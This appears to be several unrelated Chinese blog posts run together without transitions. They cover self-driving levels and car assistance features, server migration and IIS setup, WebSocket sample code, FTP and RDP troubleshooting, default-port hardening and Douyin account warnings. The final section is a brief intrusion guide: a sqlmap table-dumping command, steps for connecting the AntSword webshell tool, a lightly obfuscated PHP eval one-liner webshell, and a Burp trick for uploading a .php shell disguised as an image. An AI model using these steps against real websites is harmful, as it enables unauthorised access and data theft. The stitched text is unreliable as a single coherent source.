驾驶自动化等级与划分要素的关系
分级 | 名称 | 车辆横向和纵向运动控制 | 目标和事件探测与响应 | 动态驾驶任务接管 | 设计运行条件 |
0 级 | 应急辅助 | 驾驶员 | 驾驶员及系统 | 驾驶员 | 有限制 |
1 级 | 部分驾驶辅助 | 驾驶员和系统 | 驾驶员及系统 | 驾驶员 | 有限制 |
2 级 | 组合驾驶辅助 | 系统 | 驾驶员及系统 | 驾驶员 | 有限制 |
3 级 | 有条件自动驾驶 | 系统 | 系统 | 动态驾驶任务接管用户(接管后成为驾驶员) | 有限制 |
4 级 | 高度自动驾驶 | 系统 | 系统 | 系统 | 有限制 |
5 级 | 完全自动驾驶 | 系统 | 系统 | 系统 | 无限制* |
* 排除商业和法规因素等限制。 |
摘自:《汽车驾驶自动化分级》(GB/T 40429-2021)
部分车企驾驶安全与辅助、智能领航和泊车辅助系统简介
问界
新M5 全系搭载华为高阶智能驾驶系统,包含智驾领航辅助(NCA)、车道巡航辅助(LCC)、车道巡航辅助增强(LCC Plus)、全向防碰撞系统(CAS)、智能泊车辅助(APA)、遥控泊车辅助(RPA)、代客泊车辅助(AVP)、哨兵模式等功能。部分高阶智驾功能需付费开通,如城区智驾领航辅助(City NCA)、城区车道巡航辅助增强(City LCC Plus)、代客泊车辅助(AVP)等。
阿维塔
驾驶安全与辅助:
前向碰撞预警(FCW)、自动紧急制动(AEB)、异形障碍物自动紧急制动(GAEB)、低速自动紧急制动(LAEB)、前向横穿碰撞预警(FCTA)、前向横穿碰撞制动(FCTB)、后向碰撞预警(RCW)、后向横穿碰撞预警(RCTA)、后向横穿碰撞制动(RCTB)、后向自动紧急制动(RAEB)、交通标志识别(TSR)、交通信号灯识别(TLR)、超速告警(TSA)、开门预警(DOW)、车道偏离预警(LDW)、盲区监测预警(BSD)、车道保持辅助(LKA)、紧急车道保持辅助(ELKA)、侧向障碍物防碰撞(LOCP)、自适应巡航辅助(ACC)、高速车道巡航辅助 (Highway LCC)
智能领航系统:
高速智驾领航辅助 (Highway NCA)、城区车道巡航辅助 (City LCC)、城区智驾领航辅助 (City NCA)
智能泊车辅助系统:
智能泊车辅助(APA)、遥控泊车辅助(RPA)、代客泊车辅助(AVP)
其中,ADS高阶功能包需付费购买,包含城区智驾领航辅助 (City NCA)与代客泊车辅助(AVP)。
参考:阿维塔 12 参数配置表
蔚来
智能驾驶-安全辅助:
前向碰撞预警 (FCW)、自动紧急制动 (AEB)、车辆盲区监测 (BSD)、变道盲区预警 (LCA)、侧方开门预警 (DOW)、后方穿行预警带制动 (RCTA-B)、前方穿行预警带制动 (FCTA-B)、车道偏离预警 (LDW)、车道保持辅助 (LKA)、紧急主动停车(EAS)、紧急车道保持 (ELK)、全场景误加速抑制辅助 (MAI+)、增强型驾驶员感知系统 (ADMS)、通用障碍物预警及辅助 (GOA)、增强型自动紧急转向 (AES)
智能驾驶-泊车辅助:
视觉融合泊车辅助 (S-APA with Fusion)、换电站泊车辅助 (PSAP)、车辆近距召唤 (NBS)、遥控泊车辅助 (RPA)
智能驾驶-辅助驾驶:
车道居中辅助 (LCC)、转向灯控制变道 (ALC)、智能自适应巡航 (i-ACC)、道路标识识别 (TSR)、动态环境模拟显示 (ESD)、视觉融合起步提醒 (AGN)
蔚来智能驾驶NAD服务:
智能驾驶NAD服务(覆盖部分城区道路、封闭高速道路的智能驾驶体验)、低速及泊车智能驾驶NAD服务(支持领航泊车、智能召唤等功能体验)、全域领航辅助 (NOP+)(支持高速、城市快速路、城区道路、高速服务区领航换电等体验)
特斯拉
基本版 Autopilot 自动辅助驾驶:
主动巡航控制、自动辅助转向
增强版 Autopilot 自动辅助驾驶:
自动变道、自动辅助导航驾驶、自动泊车、召唤功能、智能召唤功能
完全自动驾驶功能:
交通信号灯和停车标志控制、在城市街道自动辅助转向
解析域名、挂载磁盘(若有另购)、修改实例名称、配置安全组、设置快照策略、安装云监控插件并在应用分组添加服务器、云安全中心防勒索安装客户端并配置策略资产
远程连接进入 ECS(若解析未生效可以先用 IP)(若新服默认使用 22 端口,可先在安全组临时放行 22 端口)
修复系统漏洞(阿里云-云安全中心-漏洞管理)
安装宝塔面板(本文以宝塔面板方案为例,选择任何你喜欢的环境部署方案都行)
将磁盘挂载到目录(fdisk、df 命令参考:https://xoyozo.net/Blog/Details/SSH)
临时放行宝塔面板端口,进入宝塔面板(http方式)
配置面板 SSH、添加新的安全端口、面板设置
更改 SSH 默认端口(参:https://xoyozo.net/Blog/Details/change-default-port)
安装 nginx、PHP 等
配置 PHP 扩展(Redis、sqlsrv(注意选择兼容的版本))
创建网站,配置网站(路径、伪静态等)
迁移网站文件(参:https://xoyozo.net/Blog/Details/SSH)
仔细对比新旧网站的配置文件(特别是 .php 的访问权限,参:https://xoyozo.net/Blog/Details/nginx-location-if)
设置写入目录(使用 rsync 同步的文件会同步用户和权限)
解析域名(先改 hosts 测试网站功能)
更改内网其它 ECS 上的 hosts
关闭原 ECS(能马上发现问题,不然等运行一段时间才发现问题就麻烦点)
设置 FTP
迁移“计划任务”
所有网站和软件的配置文件都要使用 WinMerge 进行对比
移除“宝塔面板-安全”和“阿里云-ECS-安全组”中不用的端口
更多文章:
推荐使用 SignalR 来平替 WebSocket,参考教程。
【服务端(.NET)】
一、创建 WebSocketHandler 类,用于处理客户端发送过来的消息,并分发到其它客户端
public class WebSocketHandler
{
private static List<WebSocket> connectedClients = [];
public static async Task Handle(WebSocket webSocket)
{
connectedClients.Add(webSocket);
byte[] buffer = new byte[1024];
WebSocketReceiveResult result = await webSocket.ReceiveAsync(new ArraySegment<byte>(buffer), CancellationToken.None);
while (!result.CloseStatus.HasValue)
{
string message = Encoding.UTF8.GetString(buffer, 0, result.Count);
Console.WriteLine($"Received message: {message}");
// 处理接收到的消息,例如广播给其他客户端
await BroadcastMessage(message, webSocket);
result = await webSocket.ReceiveAsync(new ArraySegment<byte>(buffer), CancellationToken.None);
}
connectedClients.Remove(webSocket);
await webSocket.CloseAsync(result.CloseStatus.Value, result.CloseStatusDescription, CancellationToken.None);
}
private static async Task BroadcastMessage(string message, WebSocket sender)
{
foreach (var client in connectedClients)
{
if (client != sender && client.State == WebSocketState.Open)
{
await client.SendAsync(Encoding.UTF8.GetBytes(message), WebSocketMessageType.Text, true, CancellationToken.None);
}
}
}
}
二、在 Program.cs 或 Startup.cs 中插入:
// 添加 WebSocket 路由
app.UseWebSockets();
app.Use(async (context, next) =>
{
if (context.Request.Path == "/chat")
{
if (context.WebSockets.IsWebSocketRequest)
{
WebSocket webSocket = await context.WebSockets.AcceptWebSocketAsync();
await WebSocketHandler.Handle(webSocket);
}
else
{
context.Response.StatusCode = 400;
}
}
else
{
await next();
}
});
这里的路由路径可以更改,此处将会创建一个 WebSocket 连接,并将其传递给 WebSocketHandler.Handle 方法进行处理。
也可以用控制器来接收 WebSocket 消息。
【客户端(JS)】
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0" />
<title>WebSocket 示例(JS + ASP.NET)</title>
<style>
#list { width: 100%; max-width: 500px; }
.tip { color: red; }
</style>
</head>
<body>
<h2>WebSocket 示例(JS + ASP.NET)</h2>
<textarea id="list" readonly rows="20"></textarea>
<div>
<input type="text" id="msg" />
<button onclick="fn_send()">发送</button>
<button onclick="fn_disconnect()">断开</button>
</div>
<p id="tip_required">请输入要发送的内容</p>
<p id="tip_closed">WebSocket 连接未建立</p>
<script>
var wsUrl = "wss://" + window.location.hostname + ":" + window.location.port + "/chat";
var webSocket;
var domList = document.getElementById('list');
// 初始化 WebSocket 并连接
function fn_ConnectWebSocket() {
webSocket = new WebSocket(wsUrl);
// 向服务端发送连接请求
webSocket.onopen = function (event) {
var content = domList.value;
content += "[ WebSocket 连接已建立 ]" + '\r\n';
domList.innerHTML = content;
document.getElementById('tip_closed').style.display = 'none';
webSocket.send(JSON.stringify({
msg: 'Hello'
}));
};
// 接收服务端发送的消息
webSocket.onmessage = function (event) {
if (event.data) {
var content = domList.value;
content += event.data + '\r\n';
domList.innerHTML = content;
domList.scrollTop = domList.scrollHeight;
}
};
// 各种情况导致的连接关闭或失败
webSocket.onclose = function (event) {
var content = domList.value;
content += "[ WebSocket 连接已关闭,3 秒后自动重连 ]" + '\r\n';
domList.innerHTML = content;
document.getElementById('tip_closed').style.display = 'block';
setTimeout(function () {
var content = domList.value;
content += "[ 正在重连... ]" + '\r\n';
domList.innerHTML = content;
fn_ConnectWebSocket();
}, 3000); // 3 秒后重连
};
}
// 检查连接状态
function fn_IsWebSocketConnected() {
if (webSocket.readyState === WebSocket.OPEN) {
document.getElementById('tip_closed').style.display = 'none';
return true;
} else {
document.getElementById('tip_closed').style.display = 'block';
return false;
}
}
// 发送内容
function fn_send() {
if (fn_IsWebSocketConnected()) {
var message = document.getElementById('msg').value;
document.getElementById('tip_required').style.display = message ? 'none' : 'block';
if (message) {
webSocket.send(JSON.stringify({
msg: message
}));
}
}
}
// 断开连接
function fn_disconnect() {
if (fn_IsWebSocketConnected()) {
// 部分浏览器调用 close() 方法关闭 WebSocket 时不支持传参
// webSocket.close(001, "Reason");
webSocket.close();
}
}
// 执行连接
fn_ConnectWebSocket();
</script>
</body>
</html>
【在线示例】
https://xoyozo.net/Demo/JsNetWebSocket
【其它】
-
服务端以 IIS 作为 Web 服务器,那么需要安装 WebSocket 协议
-
一个连接对应一个客户端(即 JS 中的 WebSocket 对象),注意与会话 Session 的区别
-
在实际项目中使用应考虑兼容性问题
-
程序设计应避免 XSS、CSRF 等安全隐患
-
参考文档:https://learn.microsoft.com/zh-cn/aspnet/core/fundamentals/websockets
客户端:Failed to connect to host.
服务端:无任何日志
原因:可能是域名、IP 或端口有误,或端口未开放。
客户端/服务端:530 Login incorrect.
原因:用户名或密码错误。
客户端/服务端:503 Use AUTH first.
原因:服务端开启了 FTPS 协议(FTP over TLS),且禁止了 FTP 协议(plain FTP)。
解决方法:不建议服务端恢复不安全的 FTP 协议,客户端应配置 client.Config 的 EncryptionMode、DataConnectionEncryption、SslProtocols、ValidateCertificate 等参数。
客户端/服务端:530 This server does not allow plain FTP. You have to use FTP over TLS.
原因:服务端启用了 FTPS。
解决方法:给 client.Config.EncryptionMode 正确的赋值(FtpEncryptionMode.Explicit 或 FtpEncryptionMode.Auto)。
服务端:[Error] TLS session of data connection not resumed.
原因:证书版本有误。
解决方法:给 client.Config.SslProtocols 赋值正确的 TLS 版本。
服务端:521 PROT P required
原因:服务端开启了“Require TLS session resumption on data connection when using PROT P”
解决方法:client.Config.DataConnectionEncryption = true;
客户端/服务端:450 TLS session of data connection has not resumed or the session does not match the control connection
原因:TLS 与控制连接不匹配,即服务端开启了“Require TLS session resumption on data connection when using PROT P”
解决方法:我暂时还不知道原因,临时关闭了“Require TLS session resumption on data connection when using PROT P”(不建议)。该问题出现在 FileZilla Server 0.x 版本,在 1.x 版本中没有该配置选项。
使用远程桌面连接时提示你的凭据不工作:
解决方法一:关闭 Windows Defender Credential Guard
打开组策略编辑器(gpedit.msc)
展开:计算机配置 - 管理模板 - 系统 - Device Guard,双击右侧的“打开基于虚拟化的安全”,改为“已禁用”
重启电脑
解决方法二【推荐】:使用其他远程桌面客户端
在 Microsoft Store 中查找“Microsoft 远程桌面”,或者点此安装
这个应用同样来自微软,使用方式与传统的远程桌面连接略有区别,如果你在 iPhone 或安卓上使用过,那么就能快速上手。
若要共享剪贴板,在“编辑电脑”中开启,并且在 设置 - 隐私与安全 - 文件系统 中允许“远程桌面”。
相对于传统的远程桌面连接,对高 DPI 兼容性不完美。
解析域名、挂载磁盘(若有另购)、修改实例名称、配置安全组、设置快照策略、安装云监控插件并在应用分组添加服务器、云安全中心防勒索安装客户端并配置策略资产
远程连接进入 ECS(若解析未生效可以先用 IP)
开启 Windows 防火墙(使用推荐设置)
Windows 更新
安装 IIS:服务器管理器-添加角色和功能-勾选“Web 服务器(IIS)”包括管理工具
建议勾选:
默认已勾选项
按需安装 IP 和域限制
跟踪(即“失败请求跟踪”)
请求监视器、日志记录工具、
按需安装 ASP
按需安装 ASP.NET 4.8(会同时勾选 .NET Extensibility 4.8、ISAPI 扩展、ISAPI 筛选器)
按需安装 WebSocket 协议
应用程序初始化(建议安装)
管理服务(用于 Web 部署)
细节:设置任务栏;设置桌面图标;个性化-颜色-勾选“标题栏和窗口边框”;设置输入法;
下载 URL 重写(文件名:rewrite_amd64_zh-CN.msi)
下载 MySQL Connector/NET(文件名:mysql-connector-net-8.0.19.msi)
下载 ASP.NET Core 运行时 Hosting Bundle(文件名:dotnet-hosting-*.*.*-win.exe)
下载 .NET 桌面运行时 Windows x64(文件名:windowsdesktop-runtime-*.*.*-win-x64.exe)
下载 Web Deploy(文件名:WebDeploy_amd64_zh-CN.msi)
服务:设置“ASP.NET State Service”自动启动
IIS 日志:路径(如 D:\wwwlogs),每小时(统一设置一个全局的就行了,不需要设置每个网站),按需勾选“使用本地时间进行文件命名和滚动更新”
IIS 导入证书:个人、允许导出证书。参
设置权限:设置网站所在分区(如 D 盘),安全,添加 IIS_IUSRS,全部拒绝(防止跨站)
添加用户:为每个网站创建用户(既能防止跨站,又能跟踪进程),密码不能改、不过期,仅隶属于 IIS_IUSRS,并添加到每个网站的根目录
创建网站:设置访问物理路径的用户;设置应用程序池的“标识”用户;编辑绑定:勾选需要服务器名称指示;检查域名是否绑全;设置写入目录;
重复上面两步
检查所有网站用户是否仅隶属于 IIS_IUSRS(在“组”页面双击 Users 和 IIS_IUSRS 查看成员)
在应用程序池列表页面检查 CLR 版本、管托管道模式和标识;在网站列表页面检查绑定和路径
设置“IP 地址和域限制”
废弃旧服时再次检查:IIS 中各功能设置、hosts、安装的应用程序、启动项、服务、防火墙等
解析各网站域名
其它:资源管理器-查看-选项-查看-去掉“始终显示图标,从不显示缩略图”前的勾
>> 关于域名解析
因各地域名解析生效时间不可控,一般国内域名 1 天内,国际域名 2 天内。
若网站数据库在 RDS、上传文件在 OSS,则解析 48 小时后直接停止原网站即可;(比较理想的)
文件上传到 ECS 的可使用 FTP 等工具定时同步文件,或直接停止原网站。(网友会遇到新文章中图片无法显示等问题)
还有一种方法是新网站提前解析一个备用域名,确保完全生效后再修改正式域名的解析,原网站无条件跳转到备用域名,如果数据库中有保存完整网址路径的,关闭原网站并解绑备用域名之后,进行批量替换。(缺点是可能会影响在搜索引擎的网站权重)
部分有定时器的网站要注意,如果两个网站的定时器都正常开启会导致意外的,需要停止其中一个网站的定时器。
当然每种方法都有优缺点,选择可以接受且方便的一种即可。
更多文章:
默认端口带来安全隐患,建议更改为 50000-60000 之间的端口号。
Windows 远程桌面(RDP)(3389)
在 Windows 防火墙中放行新端口:在“入站规则”中找到“Open RDP Port 3389”复制并粘贴该规则,修改端口和名称。
若没有这个规则:新建规则 - 端口 - TCP - 特定本地端口(填写新的端口号)- 允许连接 - 名称
如有其它防火墙或安全组也一并配置(如阿里云 ECS 的安全组)
打开注册表(regedit),展开到:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp,右侧双击“PortNumber”切换到“十进制”,将 3389 改为新端口号
重启生效
在防火墙和安全组中禁止原默认端口
SSH (22) 之 CentOS
在外部防火墙中放行新的端口号(如阿里云 ECS 的安全组)
在内部防火墙中放行新的端口号(如 firewalld 或 iptables),使用宝塔面板的直接在面板“安全”页面设置即可
打开 SSH 配置文件
sudo vi /etc/ssh/sshd_config
找到并编辑以下行
#Port 22
重新加载使生效
sudo systemctl reload sshd
在防火墙和安全组中禁止原默认端口
建议使用 SSH 密钥对代替传统账号密码登录
FTP (21) 之 FileZilla Server Windows 版
一般地,在 Windows Defender 防火墙中是以添加应用 filezilla-server.exe 的方式允许的,所以不需要更改端口。如果以端口方式允许的,那么在入站规则中允许新的端口。
如有其它防火墙或安全组也一并配置(如阿里云 ECS 的安全组)
打开 Administer FileZilla Server,打开菜单 - Server - Configure - Server listeners,右侧窗口中将 Port 改为新端口(强烈建议将 Protocol 改为“Require explicit FTP over TLS”,即禁止 FTP 协议,改为使用 FTPS 协议)
从防火墙和安全组移除 21 端口
FTP (21) 之 Pure-Ftpd(宝塔面板)
在防火墙中放行新的端口号(如阿里云 ECS 的安全组)
进入宝塔面板,打开“安全”,添加端口规则 TCP
在宝塔面板中进入软件商店,找到 Pure-Ftpd 并打开,切换到“配置修改”,搜索“Bind”,删除开头的“#”,将端口号 21 改为新端口号,保存(强烈建议将 TLS 项改为 2,即禁止 FTP 协议,仅允许 FTPS 协议)
切换到“服务”选项卡,点击“重启”
从防火墙和安全组移除 21 端口
MySQL (3306) 之阿里云云数据库 RDS MySQL 版
打开控制台 RDS 实例页,左侧菜单点击“白名单与安全组”,切换到“安全组”查看正在使用的安全组ID
(若使用了安全组)打开控制台 ECS 首页,左侧菜单点击“安全组”,找到这个安全组,放行新的端口
打开控制台 RDS 实例页,左侧菜单点击“数据库连接”,点击“修改连接地址”,在弹出框中修改端口
从防火墙和安全组移除原端口(确保没有其它实例正在使用此端口)
PolarDB (3306)
打开控制台 PolarDB 集群实例页,左侧菜单点击“集群白名单”,切换到“安全组”查看正在使用的安全组ID
(若使用了安全组)打开控制台 ECS 首页,左侧菜单点击“安全组”,找到这个安全组,放行新的端口
打开控制台 PolarDB 集群实例页,左侧菜单点击“基本信息”,点击“主地址”和“集群地址”的“配置”,在“网线信息”中点击“更多”更改端口
从防火墙和安全组移除原端口(确保没有其它实例正在使用此端口)
MSSQL (1433) 之阿里云云数据库 RDS SQL Server 版
打开控制台 RDS 实例页,左侧菜单点击“白名单与安全组”,切换到“安全组”查看正在使用的安全组ID
(若使用了安全组)打开控制台 ECS 首页,左侧菜单点击“安全组”,找到这个安全组,放行新的端口
打开控制台 RDS 实例页,左侧菜单点击“数据库连接”,点击“修改连接地址”,在弹出框中修改端口
从防火墙和安全组移除原端口(确保没有其它实例正在使用此端口)
Redis (6379) 之阿里云云数据库 Redis 版
打开控制台 Redis 实例页,左侧菜单点击“白名单设置”,切换到“安全组”查看正在使用的安全组ID
(若使用了安全组)打开控制台 ECS 首页,左侧菜单点击“安全组”,找到这个安全组,放行新的端口
打开控制台 Redis 实例页,在“连接信息”中点击“修改连接地址”,在弹出框中修改端口
从防火墙和安全组移除原端口(确保没有其它实例正在使用此端口)
宝塔面板 (8888)
在防火墙中放行新的端口号(如阿里云 ECS 的安全组)
进入宝塔面板,打开面板设置,切换到“安全设置”页,找到“面板端口”,点击“设置”
在防火墙和安全组中禁止原默认端口
IIS 管理服务(Web 部署)(8172)
在 Windows 防火墙中放行新端口:在“入站规则”中找到“Web 管理服务(HTTP 流量入站)”因其为预定义规则且复制也无法修改,所以按其设置新建一个,并指定新的端口。
如有其它防火墙或安全组也一并配置(如阿里云 ECS 的安全组)
打开 IIS 管理器 - 管理服务,右侧停止,左侧修改端口,右侧启动
VS 中发布配置修改“服务器(E)”项添加端口
在防火墙和安全组中禁止原默认端口
这是网友的回答:
抖音账户存在风险
你的抖音账号近期被他人举报过,导致你的账号出现风险提示
你的账号在别的地方登陆,也会出现风险提现,以防被盗号
如果你的账号是新号,也没几个好友,那要尽快实名认证,不然也会出现风险提示
账号近期有大量的账单进出,也会被平台检测到,出现风险提示
很有可能是因为抖音在维护,系统升级后台默认升级,一般这种情况耐心等待几分钟系统升级好了就可以了
排查无果后拨打抖店人工客服电话,得到的答复是电脑上安装了油猴,卸载后等待两三个小时就可以恢复。
下载 sqlmap:https://github.com/sqlmapproject/sqlmap
下载 python:https://www.python.org/downloads/
以 windows 版为例:
安装 python;
解压缩 sqlmap;
“在终端中打开 / 在命令行中打开” sqlmap.py 文件所在目录;
执行命令
python sqlmap.py -u "网址" --data="POST数据" --tables
需要注意的是,sqlmap 会记录探测过的网址的结果信息,修复网站漏洞后要再次检测是否安全时,应删除缓存文件,位置在:
C:\Users\用户\AppData\Local\sqlmap\output\
中国蚁剑
https://github.com/AntSwordProject
https://github.com/AntSwordProject/AntSword-Loader
http://t.zoukankan.com/liang-chen-p-14181806.html
使用说明:
下载 AntSword-Loader 和 antSword 并解压;
打开 AntSword.exe,初始化时选择 antSword 目录;
右键“添加数据”,填 URL,选择连接类型,以 PHP 为例,服务器上放置一个 PHP 文件,格式如:
<?php @ev删除这七个汉字al($_POST['value']); ?>
那么,“连接密码”就填 POST 的参数名 value。
添加完成,双击可打开树状菜单,显示服务器上所有有权限的文件。
Burp:篡改请求(譬如上传图片时将文件名改为.php,并添加shell脚本)
https://portswigger.net/burp
使用方法:https://zhuanlan.zhihu.com/p/537053564
一句话木马:https://www.icode9.com/content-4-1081174.html